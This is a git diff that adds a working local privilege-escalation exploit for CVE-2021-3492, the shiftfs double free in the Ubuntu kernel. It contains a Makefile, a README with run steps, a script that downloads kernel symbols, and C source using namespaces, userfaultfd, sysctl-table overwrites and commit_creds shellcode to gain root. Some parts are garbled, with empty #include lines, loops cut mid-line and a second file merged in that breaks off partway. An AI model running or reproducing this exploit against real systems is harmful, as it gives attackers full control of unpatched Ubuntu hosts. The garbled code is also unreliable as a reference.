diff --git a/cve/ubuntu-kernel/2021/CVE-2021-3492/Makefile b/cve/ubuntu-kernel/2021/CVE-2021-3492/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..4e834241e16efa3584f803fa72ef83caa923b84b --- /dev/null +++ b/cve/ubuntu-kernel/2021/CVE-2021-3492/Makefile @@ -0,0 +1,4 @@ +all: + gcc -static -pthread -lrt -lpthread -o exploit main_5.4.c +clean: + rm -f exploit *.o diff --git a/cve/ubuntu-kernel/2021/CVE-2021-3492/README.md b/cve/ubuntu-kernel/2021/CVE-2021-3492/README.md new file mode 100644 index 0000000000000000000000000000000000000000..a8e8776e115e7672ee121969299cc43461675389 --- /dev/null +++ b/cve/ubuntu-kernel/2021/CVE-2021-3492/README.md @@ -0,0 +1,12 @@ +To compile (need make and gcc) : + +```sh +make +``` + +To execute : + +```sh +./download_symbols.sh +./exploit +``` diff --git a/cve/ubuntu-kernel/2021/CVE-2021-3492/download_symbols.sh b/cve/ubuntu-kernel/2021/CVE-2021-3492/download_symbols.sh new file mode 100755 index 0000000000000000000000000000000000000000..89a5787094831be115bb1942bb9f5a0fcae5a537 --- /dev/null +++ b/cve/ubuntu-kernel/2021/CVE-2021-3492/download_symbols.sh @@ -0,0 +1,32 @@ +#! /bin/bash + +kernel_version=$(uname -r) +echo "Kernel version : ${kernel_version}" + +kernel_pkg_version=$(dpkg -l | grep linux-modules-$(uname -r) | head -1 | awk '{ print $3; }') +echo "Kernel package version : ${kernel_pkg_version}" + +pkg_name="linux-modules-${kernel_version}_${kernel_pkg_version}_amd64.deb" +pkg_uri="http://mirrors.kernel.org/ubuntu/pool/main/l/linux/${pkg_name}" +echo "Downloading package linux-modules at ${pkg_uri}" + +mkdir -p symbols/${kernel_version} +cd symbols/${kernel_version} + +wget ${pkg_uri} -O ${pkg_name} +mkdir -p extract +dpkg -x ${pkg_name} extract/ + +symbols_file="extract/boot/System.map-${kernel_version}" +if [ ! -f ${symbols_file} ]; then + echo "Failed to extract symbol file. Check download of Ubuntu package" + cd - > /dev/null + exit 1 +else + echo "Symbol file found. Cleaning directory..." + mv ${symbols_file} .. +fi + +cd - > /dev/null +rm -rf symbols/${kernel_version} +echo "Symbol file : System.map-${kernel_version}" diff --git a/cve/ubuntu-kernel/2021/CVE-2021-3492/main.c b/cve/ubuntu-kernel/2021/CVE-2021-3492/main.c new file mode 100644 index 0000000000000000000000000000000000000000..d15321228f8c30a3032793514063a458d546740e --- /dev/null +++ b/cve/ubuntu-kernel/2021/CVE-2021-3492/main.c @@ -0,0 +1,790 @@ +/* ---------------------------------------------------------------------------- + * SHIFTFS DOUBLE FREE VULNERABILITY EXPLOIT + * ---------------------------------------------------------------------------- + * Developped for Ubuntu 20.10 (5.8.0-xx-generic) 64-bits + * This exploit do the following things : + * - Create a userns + mountns to be able to mount + * - Mount SHIFTFS and use BTRFS ioctl to trigger a double free kmalloc-4K + * - Use userfaultfd for kernel preemption and synchro. + * - Chosen victim in heap : NETNS sysctl table created on new NETNS creation + * - Overwriting the victim allows to : + * - Retrieve KASLR offset + * - Arbitrary read/write kernel memory + * - Arbitrary function call with controlled arg0 + * + * Vincent DEHORS - Synacktiv + * ---------------------------------------------------------------------------- + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGESIZE 4096 + +/* Realloc number is the number of allocation made after the double free. + * Note that creating NETNS should have allocated several 4K buffer and then + * change the SLAB for the current CPU. Here we consume several SLAB to make + * sure the victim pointer is among them and filled with the correct data. + * Kmalloc-4096 slabs have 8 objects. + */ +#define REALLOC_NB (8*2+1) + +#define u64 unsigned long long + +struct global_data { + int cpu; + int fd_shiftfs; + pid_t unshare_tid; + char sysctl_mem_orig[PAGESIZE]; + char sysctl_mem_patched[PAGESIZE]; + u64 table_header_addr; + u64 table_addr; + u64 devinet_sysctl_forward_ptr; + u64 kaslr_offset; + char *alloc; + int fd_uffd; + int wp_fault_nb; + int netns; + size_t size; + void (*cb_between_kfree)(void); + void (*cb_collect_leak)(void); +}; + +struct global_data gdata; + +u64 devinet_sysctl_forward_base = 0x0; +u64 proc_doulongvec_minmax_base = 0x0; +u64 set_memory_x_base = 0x0; +u64 commit_creds_base = 0x0; +u64 prepare_kernel_cred_base = 0x0; +u64 debug_table_base = 0x0; + +/* ---------------------------------------------------------------------------- + * SYMBOL EXTRACTION + * ---------------------------------------------------------------------------- + */ + +void load_symbols() +{ + struct utsname version; + char buf[1024]; + char *symbol; + int ret; + FILE *fp; + u64 addr; + + ret = uname(&version); + if (ret != 0) { + printf("Failed to retrieve kernel version using uname()\n"); + exit(EXIT_FAILURE); + } + printf("Kernel version %s\n", version.release); + + memset(buf, 0, sizeof(buf)); + snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release); + + fp = fopen(buf, "r"); + if (fp == NULL) { + printf("Failed to open symbol file %s\n", buf); + exit(EXIT_FAILURE); + } + + while(fgets(buf, sizeof(buf), fp) != NULL) { + buf[16] = 0; + addr = strtoul(buf, NULL, 16); + symbol = &buf[19]; + if (!strcmp(symbol, "devinet_sysctl_forward\n")) { + devinet_sysctl_forward_base = addr; + printf("0x%016llx devinet_sysctl_forward\n", devinet_sysctl_forward_base); + } + if (!strcmp(symbol, "proc_doulongvec_minmax\n")) { + proc_doulongvec_minmax_base = addr; + printf("0x%016llx proc_doulongvec_minmax\n", proc_doulongvec_minmax_base); + } + if (!strcmp(symbol, "set_memory_x\n")) { + set_memory_x_base = addr; + printf("0x%016llx set_memory_x\n", set_memory_x_base); + } + if (!strcmp(symbol, "commit_creds\n")) { + commit_creds_base = addr; + printf("0x%016llx commit_creds\n", commit_creds_base); + } + if (!strcmp(symbol, "prepare_kernel_cred\n")) { + prepare_kernel_cred_base = addr; + printf("0x%016llx prepare_kernel_cred\n", prepare_kernel_cred_base); + } + if (!strcmp(symbol, "debug_table\n")) { + debug_table_base = addr; + printf("0x%016llx debug_table\n", debug_table_base); + } + } + + fclose(fp); + + if (!devinet_sysctl_forward_base || + !proc_doulongvec_minmax_base || + !set_memory_x_base || + !commit_creds_base || + !prepare_kernel_cred_base || + !debug_table_base) { + printf("Missing at least one symbols.\n"); + exit(EXIT_FAILURE); + } +} +/* ---------------------------------------------------------------------------- + * TREADS UTILITIES + * ---------------------------------------------------------------------------- + */ + +void pin_on_cpu(int cpu) +{ + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +void set_page_ro(int page_num) { + mprotect(gdata.alloc + page_num*PAGESIZE, PAGESIZE, PROT_READ); +} + +void set_page_rw(int page_num) { + mprotect(gdata.alloc + page_num*PAGESIZE, PAGESIZE, PROT_READ|PROT_WRITE); +} + +void write_file(const char* path, const char* content, int len) { + int data_len = len; + + if (len < 0) { + data_len = strlen(content); + } + + int fd = open(path, O_WRONLY); + write(fd, content, data_len); + close(fd); +} + +/* ---------------------------------------------------------------------------- + * VICTIM FUNCTIONS (NETNS SYSCTL) + * ---------------------------------------------------------------------------- + */ + +void alloc_victim(void) +{ + printf("Creating new NETNS...\n"); + if (unshare(CLONE_NEWNET) != 0) { + perror("unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + gdata.unshare_tid = syscall(SYS_gettid); + printf("TID of thread doing the unshare() is %d\n", gdata.unshare_tid); +} + +void collect_leak() +{ + u64 *pu64 = (u64*)(gdata.alloc+1); + char *mem_orig = gdata.sysctl_mem_orig; + + /* /!\ Fun bug : the first byte is transfert at the end so we don't have it + * But we know that expected byte 0 is 0x00 because it an aligned address */ + pu64[0] = pu64[0] & ~0xff; + + for (int i=0; i<16; i++) { + printf("Leak[%d] %016llx\n", i, pu64[i]); + } + memcpy(mem_orig, gdata.alloc+1, PAGESIZE); + gdata.devinet_sysctl_forward_ptr = pu64[5]; + gdata.table_header_addr = pu64[0]; +} + +/* Return the file descriptor of /proc/.../ns/net + * Keeping the fd open allows to keep a reference on this NS + * as the initial thread may move to another NS later */ +int get_new_netns(void) +{ + int fd_netns; + char *netns_file; + + netns_file = malloc(1024); + snprintf(netns_file, 1024, "/proc/%d/ns/net", gdata.unshare_tid); + + fd_netns = open(netns_file, O_RDONLY); + printf("Namespace NET fd = %d\n", fd_netns); + + free(netns_file); + return fd_netns; +} + +int enter_netns(int fd_netns) +{ + int ret; + ret = setns(fd_netns, CLONE_NEWNET); + printf("Setns returned %d\n", ret); +} + +/* Offset in multiple of 8 */ +#define HEADER_SIZE 1 +#define TABLE_NAME_OFFSET 0 +#define TABLE_DATA_OFFSET 1 +#define TABLE_MAXLEN_OFFSET 2 +#define TABLE_PROC_HANDLER_OFFSET 4 +#define TABLE_EXTRA1_OFFSET 6 +#define TABLE_EXTRA2_OFFSET 7 +#define TABLE_SIZE 8 + +u64* build_table_entry(u64 *table, u64 proc_handler, u64 data, int size) +{ + /* Don't change proc_name */ + table[TABLE_DATA_OFFSET] = data; /* Data */ + table[TABLE_MAXLEN_OFFSET] = 0x000001b600000000 + size; /* Set maxlen = size, mode = 666 */ + table[TABLE_PROC_HANDLER_OFFSET] = proc_handler + gdata.kaslr_offset; + table[TABLE_EXTRA1_OFFSET] = 0x0000000000000000; /* extra1 = addr of min -> no min */ + table[TABLE_EXTRA2_OFFSET] = 0x0000000000000000; /* extra2 = addr of max -> no max */ + return table+TABLE_SIZE; +} + +void build_sysctl_for_stabilisation(void) +{ + memcpy(gdata.sysctl_mem_patched, gdata.sysctl_mem_orig, PAGESIZE); + u64 *ptr = (u64*) gdata.sysctl_mem_patched; + ptr += HEADER_SIZE; /* Skip header, next is the first table */ + /* SYSCTL0 : To leak our payload address */ + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, gdata.table_header_addr, 8); + /* SYSCTL1 : To rewrite systctl2->data */ + u64 global_sysctl_victim = debug_table_base + gdata.kaslr_offset; // sys.debug.exception-trace + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, global_sysctl_victim, 8*TABLE_SIZE); + /* SYSCTL2/3 : For R/W primitive */ + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, 0, 8*TABLE_SIZE); + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, 0, 8); + /* SYSCTL4 : For call prititive */ + ptr = build_table_entry(ptr, 0, 0, 8); +} + +const char* table_index_to_item(int table_idx) +{ + char* item; + if (table_idx == 0) { + item = "forwarding"; + } else if (table_idx == 1) { + item = "mc_forwarding"; + } else if (table_idx == 2) { + item = "bc_forwarding"; + } else if (table_idx == 3) { + item = "accept_redirects"; + } else if (table_idx == 4) { + item = "secure_redirects"; + } else { + printf("Unknown table index %d\n", table_idx); + exit(EXIT_FAILURE); + } + return item; +} + +int sysctl_op(const char* path, char* buf, int size, unsigned char is_write) +{ + int fd_sysctl; + int ret; + int flags = 0; + + if (is_write) { + flags = O_TRUNC | O_WRONLY; + } else { + flags = O_RDONLY; + } + fd_sysctl = open(path, flags); + if (fd_sysctl < 0) { + perror("open(sysctl) for write"); + exit(EXIT_FAILURE); + } + + if (is_write) { + ret = write(fd_sysctl, buf, size); + } else { + ret = read(fd_sysctl, buf, size); + } + if (ret < 0) { + perror("read/write primitive failed"); + exit(EXIT_FAILURE); + } + + close(fd_sysctl); + return ret; +} + +u64 read_table_values(int table_idx, u64* values, int nb) +{ + char path[64]; + char buf[512]; + char *e, *s; + u64 value; + + snprintf(path, 64, "/proc/sys/net/ipv4/conf/all/%s", table_index_to_item(table_idx)); + memset(buf, 0, sizeof(buf)); + sysctl_op(path, buf, sizeof(buf)-1, 0); + + s = buf; + for (int i=0; i 0) { + + if (evt.revents & POLLERR) { + printf("uffd_monitor POLLERR\n"); + break; + } else if (evt.revents & POLLHUP) { + printf("uffd_monitor POLLHUP\n"); + continue; + } + + struct uffd_msg fault_msg = {0}; + if (read(gdata.fd_uffd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { + perror("read(uffd)"); + break; + } + + char *faultaddr = (char *)fault_msg.arg.pagefault.address; + if (fault_msg.event != UFFD_EVENT_PAGEFAULT) { + printf("received message event %d\n", fault_msg.event); + continue; + } + + if (fault_msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP) { + int pageid = 0; + if (faultaddr == gdata.alloc) { + pageid = 0; + } else if (faultaddr == gdata.alloc + PAGESIZE) { + pageid = 1; + } else { + printf("unexpected address\n"); + } + + gdata.wp_fault_nb++; + printf("WP Fault handling %d\n", gdata.wp_fault_nb); + + if (gdata.wp_fault_nb == 1) { /* First copy_to_user */ + if (pageid != 1) { + printf("unexpected pageid for fault 1\n"); + } + set_page_wp(0, 1); + set_page_ro(1); + set_page_wp(1, 0); /* unblock kernel */ + } else if (gdata.wp_fault_nb == 2) { /* Second copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 2\n"); + } + set_page_wp(1, 1); + set_page_rw(1); + set_page_wp(0, 0); + } else if (gdata.wp_fault_nb == 3) { + if (pageid != 1) { + printf("unexpected pageid for fault 3\n"); + } + set_page_wp(0, 1); + set_page_wp(1, 0); + } else if (gdata.wp_fault_nb == 4) { /* Third copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 4\n"); + } + gdata.cb_between_kfree(); + set_page_wp(1, 1); + set_page_wp(0, 0); + } else if (gdata.wp_fault_nb == 5) { /* Third copy_to_user */ + if (pageid != 1) { + printf("unexpected pageid for fault 5\n"); + } + gdata.cb_collect_leak(); + set_page_wp(1, 0); + } + } + } + printf("WARNING!!! Uffd thread is exiting\n"); + return NULL; +} + +void alloc_mem_2pages(void) +{ + int ret; + gdata.size = 2*PAGESIZE; + ret = posix_memalign((void **)&gdata.alloc, PAGESIZE, gdata.size); + printf("Allocated 2 pages at %p (ret:%d)\n", gdata.alloc, ret); +} + +/* ---------------------------------------------------------------------------- + * SHIFTFS FUNCTIONS + * ---------------------------------------------------------------------------- + */ +void setup_shiftfs(void) +{ + int uid = getuid(); + int gid = getgid(); + char map[64]; + + printf("Creating new USERNS\n"); + if (unshare(CLONE_NEWUSER) != 0) { + perror("unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + + printf("Configuring UID/GID map for user %d/%d\n", uid, gid); + + snprintf(map, 64, "0 %d 1\n", uid); + write_file("/proc/self/uid_map", map, -1); + + write_file("/proc/self/setgroups", "deny", -1); + + snprintf(map, 64, "0 %d 1\n", gid); + write_file("/proc/self/gid_map", map, -1); + + printf("Creating new MOUNTNS\n"); + + if (unshare(CLONE_NEWNS) != 0) { + perror("unshare(CLONE_NEWNS)"); + exit(EXIT_FAILURE); + } + + if (mount("none", "/", NULL, MS_REC|MS_PRIVATE, NULL) != 0) { + perror("mount(/)"); + exit(EXIT_FAILURE); + } + + system("mkdir -p d1"); + system("mkdir -p d2"); + + printf("Mounting tmpfs on d1\n"); + if (mount("none", "d1", "tmpfs", 0, NULL) != 0) { + perror("mount(tmpfs)"); + exit(EXIT_FAILURE); + } + + printf("Mounting shiftfs on d2\n"); + if (mount("d1", "d2", "shiftfs", 0, "mark,passthrough=2") != 0) { + perror("mount(shiftfs)"); + exit(EXIT_FAILURE); + } + + printf("Creating shiftfs file\n"); + system("touch d2/f1"); + + gdata.fd_shiftfs = open("d2/f1", O_RDWR); + if (gdata.fd_shiftfs < 0) { + perror("open(shiftfs_file)"); + exit(EXIT_FAILURE); + } + printf("Shiftfs FD : %d\n", gdata.fd_shiftfs); +} + +void trigger_double_free(void) +{ + char* mem = gdata.alloc; + struct btrfs_ioctl_vol_args *arg = (struct btrfs_ioctl_vol_args *)(mem + 1); + int ret; + + /* Need a valid file descriptor, so use the same one as for ioctl */ + arg->fd = gdata.fd_shiftfs; + + /* Initialize fault counter */ + gdata.wp_fault_nb = 0; + + /* PAGE0 RW PAGE1 FAULT */ + set_page_wp(1, 1); + + printf("Triggering the vulnerability...\n"); + ret = ioctl(gdata.fd_shiftfs, BTRFS_IOC_SNAP_CREATE, arg); + printf("Ioctl returned %d - errno = %d\n", ret, errno); +} + +void repair_double_free(char* content) +{ + char* mem = gdata.alloc; /* Reuse this memory, we won't fault now */ + struct btrfs_ioctl_vol_args *arg = (struct btrfs_ioctl_vol_args *)(mem + 1); + int ret; + + /* Copy wanted data */ + memcpy(arg, content, PAGESIZE); + + /* Make sure this is an invalid FD */ + arg->fd = 0xffff; + + ret = ioctl(gdata.fd_shiftfs, BTRFS_IOC_SNAP_CREATE, arg); + //printf("Ioctl returned %d - errno = %d\n", ret, errno); +} + +/* Shellcode */ +unsigned char shellcode[] = { + 0xe8, 0x00, 0x00, 0x00, 0x00, /* gadget to pop rip */ + 0x5a, + 0x48, 0x83, 0xea, 0x05, + 0x52, /* push rdx */ + 0x48, 0x8d, 0x4a, 0xf0, /* lea rcx, [rdx -0x10] */ + 0x48, 0x8b, 0x09, /* mov rcx, [rcx] */ + 0xbf, 0x00, 0x00, 0x00, 0x00, /* mov edi, 0 */ + 0xff, 0xd1, /* call rcx */ + 0x48, 0x89, 0xc7, /* mov rdi, rax */ + 0x5a, /* pop rdx */ + 0x48, 0x8d, 0x4a, 0xe8, /* lea rcx, [rdx -0x18] */ + 0x48, 0x8b, 0x09, /* mov rcx, [rcx] */ + 0xff, 0xd1, /* call rcx */ + 0xc3 /* ret */ +}; +/* 0xff, 0xff,0xff, 0x00,0x00, 0x00,0x00, 0x00, crash + backtrace */ + + +/* ---------------------------------------------------------------------------- + * MAIN FUNCTION + * ---------------------------------------------------------------------------- + */ + +int main(int argc, char** argv) +{ + int ret, i; + pthread_t uffd_thread; + char buf[64]; + + printf("################################################\n"); + printf("# EXPLOIT SETUP #\n"); + printf("################################################\n"); + + load_symbols(); + + gdata.cpu = 0; /* Pin on CPU0 because it is always here */ + printf("Pinning on CPU %d\n", gdata.cpu); + pin_on_cpu(gdata.cpu); + + memset(gdata.sysctl_mem_orig, 0, PAGESIZE); + setup_shiftfs(); + + /* Create UFFD monitor thread for double fault */ + alloc_mem_2pages(); + setup_userfaultfd(); + pthread_create(&uffd_thread, NULL, uffd_monitor, NULL); + + printf("################################################\n"); + printf("# PRIMITIVES STABILISATION #\n"); + printf("################################################\n"); + + /* Initialize callback */ + gdata.cb_between_kfree = alloc_victim; + gdata.cb_collect_leak = collect_leak; + trigger_double_free(); + + gdata.kaslr_offset = gdata.devinet_sysctl_forward_ptr - devinet_sysctl_forward_base; + + printf("table_header_ptr = %016llx\n", gdata.table_header_addr); + printf("KASLR offset = %016llx\n", gdata.kaslr_offset); + + build_sysctl_for_stabilisation(); + + /* The system will lose definitively REALLOC_NB*4k of memory */ + printf("Repairing the double free (removing %d chunks)...\n", REALLOC_NB); + for (i=0; i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGESIZE 4096 +#define ALIGN_CACHELINE 128 + +/* Realloc number is the number of allocation made after the double free. + * Note that creating NETNS should have allocated several 4K buffer and then + * change the SLAB for the current CPU. Here we consume several SLAB to make + * sure the victim pointer is among them and filled with the correct data. + * Kmalloc-4096 slabs have 8 objects. + */ +#define REALLOC_NB (8*2+1) + +#define u64 unsigned long long + +struct global_data { + int cpu; + int fd_shiftfs; + pid_t unshare_tid; + char sysctl_mem_orig[PAGESIZE]; + char sysctl_mem_patched[PAGESIZE]; + u64 table_header_addr; + u64 table_addr; + u64 devinet_sysctl_forward_ptr; + u64 kaslr_offset; + char *alloc_storage; + char *alloc; + int fd_uffd; + int wp_fault_nb; + int netns; + size_t size; + void (*cb_between_kfree)(void); + void (*cb_collect_leak)(void); +}; + +struct global_data gdata; + +u64 devinet_sysctl_forward_base = 0x0; +u64 proc_doulongvec_minmax_base = 0x0; +u64 set_memory_x_base = 0x0; +u64 commit_creds_base = 0x0; +u64 prepare_kernel_cred_base = 0x0; +u64 debug_table_base = 0x0; + +void map_page_untouched(int index, int do_unmap); + +/* ---------------------------------------------------------------------------- + * SYMBOL EXTRACTION + * ---------------------------------------------------------------------------- + */ + +void load_symbols() +{ + struct utsname version; + char buf[1024]; + char *symbol; + int ret; + FILE *fp; + u64 addr; + + ret = uname(&version); + if (ret != 0) { + printf("Failed to retrieve kernel version using uname()\n"); + exit(EXIT_FAILURE); + } + printf("Kernel version %s\n", version.release); + + memset(buf, 0, sizeof(buf)); + snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release); + + fp = fopen(buf, "r"); + if (fp == NULL) { + printf("Failed to open symbol file %s\n", buf); + exit(EXIT_FAILURE); + } + + while(fgets(buf, sizeof(buf), fp) != NULL) { + buf[16] = 0; + addr = strtoul(buf, NULL, 16); + symbol = &buf[19]; + if (!strcmp(symbol, "devinet_sysctl_forward\n")) { + devinet_sysctl_forward_base = addr; + printf("0x%016llx devinet_sysctl_forward\n", devinet_sysctl_forward_base); + } + if (!strcmp(symbol, "proc_doulongvec_minmax\n")) { + proc_doulongvec_minmax_base = addr; + printf("0x%016llx proc_doulongvec_minmax\n", proc_doulongvec_minmax_base); + } + if (!strcmp(symbol, "set_memory_x\n")) { + set_memory_x_base = addr; + printf("0x%016llx set_memory_x\n", set_memory_x_base); + } + if (!strcmp(symbol, "commit_creds\n")) { + commit_creds_base = addr; + printf("0x%016llx commit_creds\n", commit_creds_base); + } + if (!strcmp(symbol, "prepare_kernel_cred\n")) { + prepare_kernel_cred_base = addr; + printf("0x%016llx prepare_kernel_cred\n", prepare_kernel_cred_base); + } + if (!strcmp(symbol, "debug_table\n")) { + debug_table_base = addr; + printf("0x%016llx debug_table\n", debug_table_base); + } + } + + fclose(fp); + + if (!devinet_sysctl_forward_base || + !proc_doulongvec_minmax_base || + !set_memory_x_base || + !commit_creds_base || + !prepare_kernel_cred_base || + !debug_table_base) { + printf("Missing at least one symbols.\n"); + exit(EXIT_FAILURE); + } +} +/* ---------------------------------------------------------------------------- + * TREADS UTILITIES + * ---------------------------------------------------------------------------- + */ + +void pin_on_cpu(int cpu) +{ + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +void set_page_ro(int page_num) { + mprotect(gdata.alloc + page_num*PAGESIZE, PAGESIZE, PROT_READ); +} + +void set_page_rw(int page_num) { + mprotect(gdata.alloc + page_num*PAGESIZE, PAGESIZE, PROT_READ|PROT_WRITE); +} + +void write_file(const char* path, const char* content, int len) { + int data_len = len; + + if (len < 0) { + data_len = strlen(content); + } + + int fd = open(path, O_WRONLY); + write(fd, content, data_len); + close(fd); +} + +/* ---------------------------------------------------------------------------- + * VICTIM FUNCTIONS (NETNS SYSCTL) + * ---------------------------------------------------------------------------- + */ + +void alloc_victim(void) +{ + printf("Creating new NETNS...\n"); + if (unshare(CLONE_NEWNET) != 0) { + perror("unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + gdata.unshare_tid = syscall(SYS_gettid); + printf("TID of thread doing the unshare() is %d\n", gdata.unshare_tid); +} + +void collect_leak() +{ + u64 *pu64 = (u64*)(gdata.alloc + ALIGN_CACHELINE); + char *mem_orig = gdata.sysctl_mem_orig; + + /* /!\ Fun bug : the first byte is transfert at the end so we don't have it + * But we know that expected byte 0 is 0x00 because it an aligned address */ + pu64[0] = pu64[0] & ~0xff; + + for (int i=0; i<16; i++) { + printf("Leak[%d] %016llx\n", i, pu64[i]); + } + memcpy(mem_orig, gdata.alloc + ALIGN_CACHELINE, PAGESIZE-ALIGN_CACHELINE); + gdata.devinet_sysctl_forward_ptr = pu64[5]; + gdata.table_header_addr = pu64[0]; +} + +/* Return the file descriptor of /proc/.../ns/net + * Keeping the fd open allows to keep a reference on this NS + * as the initial thread may move to another NS later */ +int get_new_netns(void) +{ + int fd_netns; + char *netns_file; + + netns_file = malloc(1024); + snprintf(netns_file, 1024, "/proc/%d/ns/net", gdata.unshare_tid); + + fd_netns = open(netns_file, O_RDONLY); + printf("Namespace NET fd = %d\n", fd_netns); + + free(netns_file); + return fd_netns; +} + +int enter_netns(int fd_netns) +{ + int ret; + ret = setns(fd_netns, CLONE_NEWNET); + printf("Setns returned %d\n", ret); +} + +/* Offset in multiple of 8 */ +#define HEADER_SIZE 1 +#define TABLE_NAME_OFFSET 0 +#define TABLE_DATA_OFFSET 1 +#define TABLE_MAXLEN_OFFSET 2 +#define TABLE_PROC_HANDLER_OFFSET 4 +#define TABLE_EXTRA1_OFFSET 6 +#define TABLE_EXTRA2_OFFSET 7 +#define TABLE_SIZE 8 + +u64* build_table_entry(u64 *table, u64 proc_handler, u64 data, int size) +{ + /* Don't change proc_name */ + table[TABLE_DATA_OFFSET] = data; /* Data */ + table[TABLE_MAXLEN_OFFSET] = 0x000001b600000000 + size; /* Set maxlen = size, mode = 666 */ + table[TABLE_PROC_HANDLER_OFFSET] = proc_handler + gdata.kaslr_offset; + table[TABLE_EXTRA1_OFFSET] = 0x0000000000000000; /* extra1 = addr of min -> no min */ + table[TABLE_EXTRA2_OFFSET] = 0x0000000000000000; /* extra2 = addr of max -> no max */ + return table+TABLE_SIZE; +} + +void build_sysctl_for_stabilisation(void) +{ + memcpy(gdata.sysctl_mem_patched, gdata.sysctl_mem_orig, PAGESIZE); + u64 *ptr = (u64*) gdata.sysctl_mem_patched; + ptr += HEADER_SIZE; /* Skip header, next is the first table */ + /* SYSCTL0 : To leak our payload address */ + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, gdata.table_header_addr, 8); + /* SYSCTL1 : To rewrite systctl2->data */ + u64 global_sysctl_victim = debug_table_base + gdata.kaslr_offset; // sys.debug.exception-trace + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, global_sysctl_victim, 8*TABLE_SIZE); + /* SYSCTL2/3 : For R/W primitive */ + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, 0, 8*TABLE_SIZE); + ptr = build_table_entry(ptr, proc_doulongvec_minmax_base, 0, 8); + /* SYSCTL4 : For call prititive */ + ptr = build_table_entry(ptr, 0, 0, 8); +} + +const char* table_index_to_item(int table_idx) +{ + char* item; + if (table_idx == 0) { + item = "forwarding"; + } else if (table_idx == 1) { + item = "mc_forwarding"; + } else if (table_idx == 2) { + item = "bc_forwarding"; + } else if (table_idx == 3) { + item = "accept_redirects"; + } else if (table_idx == 4) { + item = "secure_redirects"; + } else { + printf("Unknown table index %d\n", table_idx); + exit(EXIT_FAILURE); + } + return item; +} + +int sysctl_op(const char* path, char* buf, int size, unsigned char is_write) +{ + int fd_sysctl; + int ret; + int flags = 0; + + if (is_write) { + flags = O_TRUNC | O_WRONLY; + } else { + flags = O_RDONLY; + } + fd_sysctl = open(path, flags); + if (fd_sysctl < 0) { + perror("open(sysctl) for write"); + exit(EXIT_FAILURE); + } + + if (is_write) { + ret = write(fd_sysctl, buf, size); + } else { + ret = read(fd_sysctl, buf, size); + } + if (ret < 0) { + perror("read/write primitive failed"); + exit(EXIT_FAILURE); + } + + close(fd_sysctl); + return ret; +} + +u64 read_table_values(int table_idx, u64* values, int nb) +{ + char path[64]; + char buf[512]; + char *e, *s; + u64 value; + + snprintf(path, 64, "/proc/sys/net/ipv4/conf/all/%s", table_index_to_item(table_idx)); + memset(buf, 0, sizeof(buf)); + sysctl_op(path, buf, sizeof(buf)-1, 0); + + s = buf; + for (int i=0; i 0) { + + printf("UFFD poll returned\n"); + + if (evt.revents & POLLERR) { + printf("uffd_monitor POLLERR\n"); + break; + } else if (evt.revents & POLLHUP) { + printf("uffd_monitor POLLHUP\n"); + continue; + } + + struct uffd_msg fault_msg = {0}; + if (read(gdata.fd_uffd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { + perror("read(uffd)"); + break; + } + + char *faultaddr = (char *)fault_msg.arg.pagefault.address; + if (fault_msg.event != UFFD_EVENT_PAGEFAULT) { + printf("received message event %d\n", fault_msg.event); + continue; + } + + if (1) { + int pageid = 0; + if (faultaddr == gdata.alloc) { + pageid = 0; + } else if (faultaddr == gdata.alloc + PAGESIZE) { + pageid = 1; + } else { + printf("unexpected address\n"); + } + + gdata.wp_fault_nb++; + printf("WP Fault handling %d\n", gdata.wp_fault_nb); + + if (gdata.wp_fault_nb == 1) { /* First copy_from_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 1\n"); + } + set_page_wp(1, 1); + set_page_wp(0, 0); /* unblock kernel */ + } else if (gdata.wp_fault_nb == 2) { /* First copy_from_user */ + if (pageid != 1) { + printf("unexpected pageid for fault 2\n"); + } + set_page_wp(0, 1); + set_page_wp(1, 0); /* unblock kernel */ + } else if (gdata.wp_fault_nb == 3) { /* First copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 3\n"); + } + set_page_wp(1, 1); + set_page_wp(0, 0); /* unblock kernel */ + } else if (gdata.wp_fault_nb == 3+1) { /* First copy_to_user */ + if (pageid != 1) { + printf("unexpected pageid for fault 3+1\n"); + } + set_page_wp(0, 1); + set_page_ro(1); + set_page_wp(1, 0); /* unblock kernel */ + } else if (gdata.wp_fault_nb == 3+2) { /* Second copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 3+2\n"); + } + set_page_wp(1, 1); + set_page_rw(1); + set_page_wp(0, 0); + } else if (gdata.wp_fault_nb == 3+3) { + if (pageid != 1) { + printf("unexpected pageid for fault 3+3\n"); + } + set_page_wp(0, 1); + set_page_wp(1, 0); + } else if (gdata.wp_fault_nb == 3+4) { /* Third copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 3+4\n"); + } + gdata.cb_between_kfree(); + set_page_wp(1, 1); + set_page_wp(0, 